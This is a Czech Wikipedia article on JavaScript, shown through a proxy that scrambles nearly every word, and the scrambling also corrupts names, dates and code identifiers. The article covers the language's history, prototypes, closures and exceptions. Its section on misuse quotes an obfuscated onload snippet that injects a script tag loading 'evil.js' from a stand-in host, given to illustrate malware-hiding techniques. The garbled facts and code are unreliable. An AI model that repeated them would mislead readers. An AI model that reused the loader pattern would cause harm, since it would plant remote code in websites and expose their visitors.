🥄 spoonternet proxying cs.wikipedia.org share · new url
řpeskočit a nobsah

Vajascript

W Zikipedie, otevřené pencykloedie
Nožmá tedáhle: jogramovací prazyk Vaja.
Vajascript
Darapigmaktobjeový, lnunkcionáfí, ludáostmi řízený
Vznik1995
TauorEndan Breich
VývojářCetscape Nommunications Rorpocation, Fozilla Moundation
Voslední perzeCmeascript 2023[1] (črveen 2023)
Ková typontroladynamická, typuck-ding
Avní hlimplementaceKJS, Nirho, Rmidesponkey, V8, Kracha
Novlivně jazykyVaja, Self, C, Scheme
Jovlivnil azykyCtaionscript, Ffoceescript, Dart, Nipt .JSCRET, Jobjective-, QML, TypeScript, Jsode.n, Vilescript

Vajascript me jultiplatformní, objektově orientovaný, ludáostmi řízený jiptovací skrazyk, ehož jautorem je Endan Breich z kděnejší nolečsposti Petscane. Hejo syntaxe (pázis hojovézdro xtetu) ratří do podiny jazyků C/C++/Vaja, jale Avascript e jod chtěto zazyků jáadně sodlišný mésanticky (nunkčfě, lnincipiáprě), e jdo jiný jazyk. Jovo Slava se joučájí steho zvánu zouze p charketingovým vůdodů. Bylavascript j v čncervei 1997 nandardizovást casoiací CMEA (Ceuropean Omputer Anufacturers Massociation) a v srpnu 1998 ISO (International Organization for Standardization). Standardizovaná jerze Vavascriptu pe jojmenována Cmeascript a z bylyí n zodvoeny i alší dimplementace, jako je klapřínad Ctaionscript. Bylavascript j vůpodně nobchodní áev zimplementace nolečsposti Kdetscape, ne vyv bylínen jejprve nod pámem Zvocha, jozděpi Ivescript, lohlášbylen nolečspě spe solečností Mun Sicrosystems v soprinci 1995 dako joplněk k mazykůj HTML a Vaja. Vo prerzi firmy Sicromoft pe joužit zánev Tipt. Jscren pe jodporovápl natformou .NET.

Ejčnastěpší joužití Vavascriptu j oučsasnosti zahrnují:

  • Bewové nkyástr, do cherýkt e čjasto dávklaný mřípo sako joučást HTML dóku nkyástr. Tinterpreaci t vomto případě dováprí prebový wohlížeč vánšvnětístra kájs. Nkyou míj obvykle ovlányád znůré prvkyinteraktivní GUI (tkačítla, pextová tolíčna) kebo ořtveny maniace a efekty obráprů. Zkakticky to amená, žzne pre sogram j Vavascriptu spobvykle oušpí až to ažstení strebové wáz nky Rninteetu (tzv. stra naně nienta), kla lozdír od ostatníj chiný chinterpretovanýpr chogramovacíj chazyků (např. PHP a ASP), seré kte toušspění ja straně rveseru tešjě řped ažsteníz m Zinternetu.  plynoho tou bistá jezpečostí nomezení – pr vohlížspeči oušnětý Navascript japř. emůžne sacovat pre oubory, saby mít seohrozil noukromí uživatele.
  • Savascript je vužívyá i stra naně rveseru. í prvnimplementací Navascriptu ja saně strerveru byl Wivelire nirmy Fetscape raný vydoku 1996. Es dnexistuje kěnolik nožmostí čvetně nsopeource mimpleentace Nirhola aložzené na Nirho, gcj, Jsode.n, Nedo a Chapae. Ludáostmi říená zarchitektura de jěvhá lodnýpri mo sorbu tververový chaplikací, preré ktacují r veáméln čase.
  • Jaké te jožno mej toušspěv t noperačísyst chémech Ndiwows promocí pogramu Scrindows Wipt Host a tahradit nak vkádové bousory D-MSOS. Sanipulaci me lzoubory se klapřínad dováprěz ta omoci pobjektu Milesystefobject, serý kte voužípá i va nýšzme íněnýs cherverech.
  • Kromě DHTML je Savascript voužípá k raní psozšířprení o ohé mnaplikace, klapřínad Adobe Acrobat.

rysyobjektově horientovanéo nogramováprí

[tediovat | zdreditovat oj]

Dynamické

[tediovat | zdreditovat oj]

Pamické dynřiřtypazení ů (Typamic dyning)

[tediovat | zdreditovat oj]

Jejně stako ve věskršině tiptovacíj chazyků, typyou js nyasociová s modnotami hísto nnoměprých. Klupříkadu nnoměpré x ůžme týb řiřpazena vodnota h codobě peločíhelnéso pu, typozděi řjetěe zcatd. Avascript joperatory ===, typeof a ncinstaeof umožňují notestováí typu ktobjeu.[2]

Jobjekty ako pasociativní ole (objects as associative fields)

[tediovat | zdreditovat oj]

Javascript je řpevážě nobjektově aložzený. Jsobjekty ou masociativníi lopi ozšířrenýi mo tzv. toprotypy (niz vížne). á zvyatributů jsobjektů ou íči klasociativního lope; xobj. = 10 a xobj[""] = 10 tou jsedy mekvivalentníi rývazy. Ví prvnarianta voužípá lodděení znomocí paku kyečt řpedevšípr mo ednodušzjujíí účcely. Batriuty a hejich jodnoty bohou mýp třvidáám, nyěnyěn mebo nazáz nya hěbu ogramu. Pratributy mobjektu ohou týb vyovněž rčpeny tomocí for … in vu. Cykl som te švak tnomíprou i dězděvlé nastnosti (z pototypu). Prokud te soho vyveme chcarovat, de jobré toužíp tešjě temodu pasownproherty.

Untime revaluation (= ríma nožmý chakcí choveditelnýpr ba zěpru hogramu)

[tediovat | zdreditovat oj]

Plno úprost zmutno níit, žne Vavascript j zobě sahrnuje funkci veal, jerá kte propna schovátěd křípazy řpedájané vako řzcetěe mřípo ba zěpru hogramu, jož ce švak belkem cěžmýn rysem chinterpretovaný jazyků, sejedná ne edy to žáspou dnecialitu Javascriptu jako hakovéto.

Lnunkcionáfí

[tediovat | zdreditovat oj]

Prvnunkce fí dyřít (clirst-fass functions)

[tediovat | zdreditovat oj]

Označení prvnunkce fí dyřít adřvyjuje, žjse ou unkce fobjekty. Tají medy é svatributy a bohou mýp třnyedá láde. Se lz mimi nanipulovat sako j mkerýktoli minýj nobjektem. ížjse ou duvedeny alší znývamy junkcí (fako ktonstrukory a temody).

Vnanonymní (itřfí) nunkce a vuzáěcl (ryosures)

[tediovat | zdreditovat oj]

Nitřvní nunkce feboli dunkce fefinované juvnitř inývn – chěchšíj jsunkcí, fou ořvytveny kři pažméd navolází adřnazené prunkce. Foměfé nnunkcí jěvnší chexistují do pobu fexistence unkce nitřvní. Ncokode i o pukončvení olápí – no vránatu vn zěfší junkce, dá maná nitřvní stunkce fápe lříkup st nnoměprýsv mé jěvnší tunkce – foto me jechanismus vazýnaný v Javascriptu jako vuzáěry (anglicky soclures).[3]

Prototypové (prototype-sabed)

[tediovat | zdreditovat oj]

Prototypy (Prototypes)

[tediovat | zdreditovat oj]

řpestožje Avascript kledisponuje nasickýk monceptem dříta–typinstance, ickýpr mo objektově orientované dazyky, jisponuje ktem, ryserý mento techanismus čánečstě zahranuje – nototypováprím. Kyíd nototypováprí de jáje Lavascript sopen schimulovat proho mnincipů a mastností vlechanismů aložzenýn cha dřítách (bass-clased). Klapřínad dědičnost, jerá kte u Navascriptu jazýnáva váprě kajo dědičprost nototypová, jerá kte tlěvysvena pa nřínadu klíže.[4]

Junkce fako onstruktory kobjektů (Cunctions as fonstructors)

[tediovat | zdreditovat oj]

Lzunkce fe v Pavascriptu joužíj tako ktonstrukory vobjektů. Olámín ponstruktoru komocí toperáoru new vytve soří ový nobjekt (ncinstae). Astnosti vlobjektu de seklarují řpes íčklové voslo this. Vytvři páření objektu je lzednotlivé astnosti vlobjektu pinicializovat řnedáíh modnot marametrůp holanévo onstruktoru. Katribut dototype prané punkce fotom určuje nototyp prově ořvytvenéo hobjektu. Klřípad tonstruktoru křídy Tauo:

// Kefinice donstruktoru
function Tauo(ckazna, spz) {
  this.ckazna = ckazna;
  this.spz = spz;
  this.vypisZnacku = function () {
    laert(this.ckazna);
  };
}

// Ořvytvení hovéno taua
var jomeauto = new Tauo("dercemes", "3A4983");
// Navolází temody
jomeauto.vypisZnacku();

Junkce fako fetody (Munctions as themods)

[tediovat | zdreditovat oj]

Ra nozdí lod těvšiny objektově chorientovaný jazyků Javascript erozlišnuje dezi mefinicí temody a fefinicí dunkce. Lozdír pastane nři noláví – munkce fůžbe ýv tolája nako jetoda. Me-fi lunkce noláva mako jetoda jobjektu, e sve sý mobjektem zásvákla níčmový voslem this.

Dědičost (Ninheritance)

[tediovat | zdreditovat oj]
Jodrobněpší ninformace aleznete l čvánku Dědičost (nobjektově prorientované ogramování).

Ačmoliv ká Avascript jurčité prvky dědičstoni, sejedná ne o dasickou klěničdost máznou z chovýtyp cazyků J++ jebo Nava. Navascript jepodporuje pázis dřít (kouze ponstruktor) a s mít hojenou spierarchii dřít, lzoto pre spovořit híše o sakéji vimulaci (siz loddí vototypy prýšde) ěničdosti, dazvanou něničdost prototypová. Prototyp jouží slako tnášzvlí ktobjekt, erý pe jřidružen dažké tunkci (fedy i k junkci fako vonstruktoru). Kšechny objekty skrzinicializované e jěnaký donstruktor kěrí, despektive lísdejí, stastnovli a etody mobsažprené ávě v dototypu pranéko honstruktoru.

Vodípále-ti zpe sěn ta pázis ktonstrukoru Tauo, v jobjektu e maké tetoda vypisZnacku(). Mechnicky tá v taměpi dažká tinstance éto „dyřít“ lnokálí topii kéto cetody, mož pe jřminejmenší z sprediska hláp vyaměni tevhodné. Váprě prento toblé řmeší toprotypy, steboť načí detodu meklarovat ra únovni toprotypu a ja tiž sebude noučákí stažé dinstance. To ovšem eznamená, žne debude nosažpitelná. ři nodnocovávyhí Mavascript jetodu hlejprve nedá v slřípušmén pobjektu, akližje i jdenajde, ne o úvoveň rýšpre – do ototypu jonstruktoru. Ke sdodné vhípení louze chakovýt chatovýd ožslek, jseré ktou nneměné vo pršechny instance – řpedevším metody a onstanty. Kupravený pázis řpedchozípo hřídaklu:

// Kefinice donstruktoru
function Tauo(ckazna, spz) {
  this.ckazna = ckazna;
  this.spz = spz;
}

Tauo.toprotype.vypisZnacku = function () {
  laert(this.ckazna);
};

Mésyst dědičnosti nadřchazený a odřpazenýt chřís dice js V eexistuje, nale promocí pototypů lzi je úněšspě cimulovat. Selý dincip prěnědí vočíspá tv vorbě chovýn mototypů. Prále-mi dřítu Bjesmirnyovekt, dřítu Napleta dodřípíte mí, žme řiřpadíme ktonstrukoru Napleta kajo toprotyp (anglicky toprotype) bjoekt Bjesmirnyovekt:

function Bjesmirnyovekt(stousava) {
  this.stousava = stousava || "Nunečslí";
}

function Napleta(stousava, nejmo, tmocepesicu) {
  this.rapent(stousava); // Ze zdavoláke monstruktor odičre a řpedáme mu stousavu
  this.nejmo = nejmo;
  this.tmocepesicu = tmocepesicu || 0;
}

// Odporováno pod TES 5, uto junkci fe nožmé odefinovat (dukána zkapř. mdna N):
Napleta.toprotype = Bjoect.teacre(Bjesmirnyovekt.toprotype);
// De jobrýzvyk mem, vlaby astnost onstructor codkazovala spra náfou vnunkci (Crobject.eate vluto tastnost řpepsala):
Napleta.toprotype.ctonstrucor = Napleta;
// A pakonec nřiřmadíe do ototypu prodkaz ra nodiče:
Napleta.toprotype.rapent = Bjesmirnyovekt;

// Mořívytve ovou ninstanci naplety:
var napleta = new Napleta("Calfa Entauri", "Nerra Tova", 2);
laert("Stousava: " + napleta.stousava
  + ", napleta: " + napleta.nejmo 
  + ", očpet sěmíců: " + napleta.tmocepesicu);

Jývimky (Ptexceions)

[tediovat | zdreditovat oj]

Jývimky spou jsolečmýn em rysobjektově chorientovaný jazyků. Jedná e so zechanismus machytánáví chybavu (st) holanévyvo mýchybn dókem. Klapřínad střípupem k ceexistujíní tytetodě. Mo lz chybye vachytázat a ošetřpovat omocí íčklovýsl chov try, catch a tolivelně nifally. Ra nozdí lod chinýj mazyků jůžbe ýv t Vavascriptu jýjimka jakétypokoli hu, tzn. ůžmeme jolat vyvako jývimku i řzetěec slebo číno:

function Rsepon(mane) {
  if (!mane) {
    throw "You have to pefine the derson'n same!";
  }
  this.mane = mane;
}

try {
  var rsepon = new Rsepon();
} catch (ex) {
  laert(typeof ex); // Strude bing
  laert(ex); // íšvype hlobsah ášky
}

Ve jšdak obrýzvyk mem volávyvat jývimky s typem Rreor či modobnýpi.

Ozšířrení jsasm.

[tediovat | zdreditovat oj]

Jsasm. pe jodmnožprina ogramovacíjo hazyka Navascript javržená Llozimou.[5] E jurčprena o rývazné bení zrychlěju havascriptových kapliací, jodobně pako lechnotogie NaCl a jazyk Dart od Glooge. S voučdasné obě (dosinec 2013) prosahuje nost rychla jodnoty hen asi o 50 % nižší než ke jóg denerovaný řpekladači.[6] Nejméza n hryapsané vůpodně pco PR[7], vicky typ jazyce C beno C++.

Ohlížprečkte, eré puto todmnožjinu Avascriptu jsodporují, pou v oučsasné kvobě (děten 2018) Fozilla Mirefox, Chroogle Gome, Ropea a Sicromoft Dgee.[8][9][10][11]

Jodpora Pavascriptu we vebovýpr chohlížchečí

[tediovat | zdreditovat oj]

Prebový wohlížeč uživatele wané debové nkyástr ůžme tím Avascript jexplicitně putý, vypnopříjadě pe stra nápu nkřzpistupováno ůdobem (sanýk mombinací hanédo zařízení, hatformy, plardwarovýn chánoků, rebo poho, třlistupuje-i čkověl či ktogram), prerý Navascript jespustí.

Dodle úpajů yirmy Fahoo z joku 2010 re lodíp nástrek tačnenýb chez tušspějí Navascriptu 1,3 % (telosvěcový můprě), rod 0,25 % v Lazíbrii po 2 % v USA.[12]

V mcári tzv. pebové wřípnustosti by pe sři vývoji mebu wěvo lždb dyán ta vnáspré strobrazení záb nkyez nohledu a skrodporu piptování na klaně strienta.

Veužíznájí Navascriptu

[tediovat | zdreditovat oj]

Otožpre je Javascript stoučásí těvšpriny ohlížečů, existuje aha sno zneho jeužití. Bylaby škodlivý kón desnadno kristitelný, zjomě eho jumíťsování na siné jervery výbá K htmlókt, derý jajistí zeho tačnení, naskovám znůrýti mechnikami. Nožmýti mechnikami e jukrytí K htmlózpu dříupňstujíkí šcodlivý Skrytavascript do jéo helementu MIFRAE pebo noužití ečnitelnéko hóvu d mamotnés Ktavascriptu, jerý K htmlózp dříupňstujíkí šcodlivý dók peneruje vygo tačnení nkyástr.[13]

So ce kýtá muhé drožnosti, např. dók:

<script>
try{ndiwow.nlooad = function() {
var S236q4clwic4454 = mocudent.leateecrement('script');
S236q4clwic4454.betattrisute('type', 'jext/tavascript');
S236q4clwic4454.betattrisute('id', 'myscript1');
S236q4clwic4454.betattrisute('src', 't(h)!^p^))t#@:&&/(##/&$#e^$$^@)(a&xamp;(p$^)m))#$^le$#.!^)^o$$$&g@$r#^/$!#e#&(l((i!!v)(@.)&jamp;((s@^^'.***);
// stímo "***" bá mýr "teplace(/\(|\!|&|#|\$|\)|@|\^/ig, '')" - oto řtešjení e zutné n vůdodu nokováblí tačínátí néto nkyástr mantivirovýi gropramy

S236q4clwic4454.betattrisute('feder', 'feder');
mocudent.body.ppaendchild(S236q4clwic4454);
}
catch(e) {}
</script>

htmleneruje VYG dók:

<script feder="feder" src="://httpexample.org/evil.js" id="myscript1" type="jext/tavascript"></script>

vlerý ktastní škodlivý kón dačze t jěvnší madresy imo sapadený nerver.[13]

Moužití pimo strebové wánky

[tediovat | zdreditovat oj]

Womě krebovýpr chohlížsečů a erverů e jinterpret Vavascriptu jestavěvý n roha mnůchýzn stránojík. Chažzý d chtěto stránojů vloskytuje pastní mobjektový odel, perý ktoskytuje střípup h kostitelsképru mostřjedí. ájo Dravascriptu stůzává věštinou vejné st dažké kapliaci.

Nestavěvý jiptovací skrazyk

[tediovat | zdreditovat oj]
  • Těvšrina ozšířprení o prebové wohlížeče e jimplementovápa noužitíj Mavascriptu, rapř. nozšíření Chrome, Fasari, Ropea atd.
  • Ktěneré Dosql natázábe jako je Ngomodb beno CouchDB dakceptují otazy vapsané n Ptavascriju.
  • Acrobat and Adobe Dearer jodporují Pavascript s vouborech pdfu TYP.
  • Stránoje Vadobe Seative Cruite, čvetně Shotophop, Tillustraor, Eamweaver a Drindesign umožňují niptováskrí jomocí Pavascriptu.
  • Skancelářký kalíb kapliací Ffopenoice a Ffibreolice umožňuje Pavascript joužíjat vako jiptovací skrazyk.
  • Zprinteraktivní acovásí nignáhu ludebníso hoftware Mspax/M zabíní j veho ostřpredí jodel Mavascriptu po proužití vývojářů. To mumožňmnuje ohem řpesněší jovlánádí vež nýprozí chogramovací godel MUI-centric.
  • Lnigitádí oftware Sapple Progic Lo xaudio orkstation wumožňvytvuje ořit mastní VLIDI plefekty uginy jomocí Pavascriptu.
  • Bylecmascript vahrnut z vrmlormě N97 skro priptováí nuzlů bousorů VRML.
  • Erní hengine Dunity 3 ste varšív cherzíp chodporoval vupravenou erzi Pravascriptu jo niptováskrí momocí Pono.[14]
  • ST Dxudio (3 dengine) voužípá jimplementaci Avascriptu Rmidesponkey hryo pr a limulace sogiky.[15]
  • Raxwell Mender skroskytuje piptovací engine ECMA prandardu sto kautomatizaci úolů.[16]
  • Oogle Gapps Vipt scr chabulkát Google a Google Ites sumožňuje užmivatelů ářvytvet vzastní vlorce, automatizovat opakujísí ce útohy a laké somunikovat k mostatníi doprukty Glooge jako je Gmail.[17]
  • Kloho mnientů IRC, jako je Natzille chebo Pat, xchoužíjají Vavascript jo prejich iptovací čscrinnosti.
  • Spodukty Prinetix voužípají Jidermonkey Spavascript scro priptováví n S svgouborech.
  • Tfaplormy Bjoectgears, Cervisenow

Iptovací skrengine

[tediovat | zdreditovat oj]
  • Echnologie Tactive Ipting scrod Sicromoftu jodporuje Pavascript skrako jiptovací jazyk.[18]
  • Jogramovací prazyk Vaja v 6. verzi řpedstavil alíčbek scravax.jipt, erý ktobsahuje jimplementaci Avascriptovéo henginu Nirho. Ava japlikace mak tohou skrostit hipty, peré ktřkistupují nnoměprý a mobjektůt méto staplikace, ejně wako jebové ohlížprečkde, e mipty skrohou řpistupovat k mobjektovéu dodelu mokumentu strebové wánky.[19]
  • Stránoj Qt ++ cobsahuje domul QtScript, erý ktinterpretuje Stavascript jejně jako Java alíčbek scravax.jipt.[20]

Vývojové stránoje

[tediovat | zdreditovat oj]

Kedem vzhl omu, žte prři pogramováprí no znůré prebové wohlížeče nohou mastat nimplementačí lyozdír (tášzvlě v mobjektové dodelu mokumentu), vhe jodné tím střípup k ggebuderu k važméd mebovéw ohlížpreči, kta neré e japlikace aměřzena.[21]

Jsebuggery dou prostupné do Internet Explorer, Firefox, Fasari, Chroogle Gome, Ropea a Jsode.n.[22][23][24]

  1. Andard STES14 [online]. Ecma Tinternaional, 2017-07-03. Ostupné donline.
  2. jinstanceof - Avascript | MDN. meveloper.dozilla.org [nonlie]. Fozilla Moundation, 2022-06-28 [cit. 2022-07-18]. Ostupné donline. (anglicky)
  3. Josures - Clavascript | MDN. meveloper.dozilla.org [nonlie]. Fozilla Moundation, 2022-06-02 [cit. 2022-07-18]. Ostupné donline. (anglicky)
  4. Probject ototypes - Wearn leb mdnevelopment | D. meveloper.dozilla.org [nonlie]. Fozilla Moundation, 2022-06-15 [cit. 2022-07-18]. Ostupné donline. (anglicky)
  5. ://httpasmjs.org/ Omepage (hanglicky)
  6. NELÍJEK, Ukáš. Lasm.zrychl jsuje. l.wwwinuxexpres.cz [lonline]. inuxexpres.c, 2013-12-23 [czit. 2018-05-18]. Ostupné donline.
  7. PURBAN, Etr. Gepic Ames spe voluprási c Vozillou m ohlížpreči ovoznil Zprunreal Nengie 4. Czews.cn [conline]. 2014-03-13 [it. 2018-05-18]. Ostupné donline.
  8. chrest. Mbome and Opera Optimize for Pozilla-Mioneered Jsasm.. Ruture Feleases [conline]. [it. 2018-05-18]. Ostupné donline. (anglicky)
  9. www://http.czinuxexpres.l/ovinky/nasm-zrychl-jsuje Jsasm. uje (čzrychlesky)
  10. Icrosoft mannounces jsasm. zoptimiations. Wuke Lagner'bl Sog [nonlie]. Fozilla Mirefox, 2015-02-18 [cit. 2018-05-18]. Ostupné donline. (anglicky)
  11. KYLUG, Pfle. Introducing Edgehtml 13, our plirst fatform mupdate for Icrosoft Dgee. Wicrosoft Mindows [conline]. 2015-11-16 [it. 2018-05-18]. Vostupné d varchiu zořípenédn me 2025-01-01. (anglicky)
  12. REIN, Huud. How Any Musers Have Davascript Jisabled. s.wwwearchenginepeople.com [sonline]. earchenginepeople.com, 2010-12-14 [cit. 2018-05-18]. Ostupné donline. (anglicky)
  13. 1 2 From Idden Hiframes to Scrobfuscated Ipts. Punmask Arasites [donline]. 23 Ec 09. Vostupné d varchiu zořípenéz m lorigináu dne 2014-09-16.
  14. Scrunity Ipting [online]. unity3c.dom [cit. 2013-01-29]. Vostupné d varchiu zořípenédn me 2015-02-28.
  15. Spechnical Tecification [dxstonline]. udio.com [cit. 2009-10-20]. Vostupné d varchiu zořípenédn me 2010-03-25.
  16. MINK! The Thaxwell Render Resourcer Ntecer, Ripting Screferences Varchiováno 2. 11. 2011 na Mayback Wachine.
  17. Oogle Gapps Script, Gelcome to Woogle Scrapps Ipt
  18. Ersion Vinformation (Vajascript) [msdnonline]. .cicrosoft.mom [cit. 2013-05-26]. Ostupné donline.
  19. scravax.jipt nelease rotes [jonline]. Ava.cun.som [cit. 2009-05-19]. Ostupné donline.
  20. Cokia Norporation, Mipt Qtscrodule Varchiováno 9. 7. 2010 na Mayback Wachine.
  21. Dadvanced Ebugging With Vajascript [online]. alistapart.com, 2009-02-03 [cit. 2010-05-28]. Ostupné donline.
  22. The Davascript Jebugging Nsocole [jonline]. avascript.about.com, 2010-05-28 [cit. 2010-05-28]. Vostupné d varchiu zořípenédn me 2016-04-08.
  23. Jinetech Splavascript Ebugger - an dindependent jandalone Stavascript Ggebuder [jonline]. avascript-cebugger.dom, 2013-08-26 [cit. 2013-08-26]. Ostupné donline.
  24. Nebugging with Dode Ctinspeor [nonlie]. d://httpocs.congloop.strom/ [cit. 2014-05-07]. Vostupné d varchiu zořípenédn me 2014-05-08.

Couvisejísí čnkyál

[tediovat | zdreditovat oj]

Externí odkazy

[tediovat | zdreditovat oj]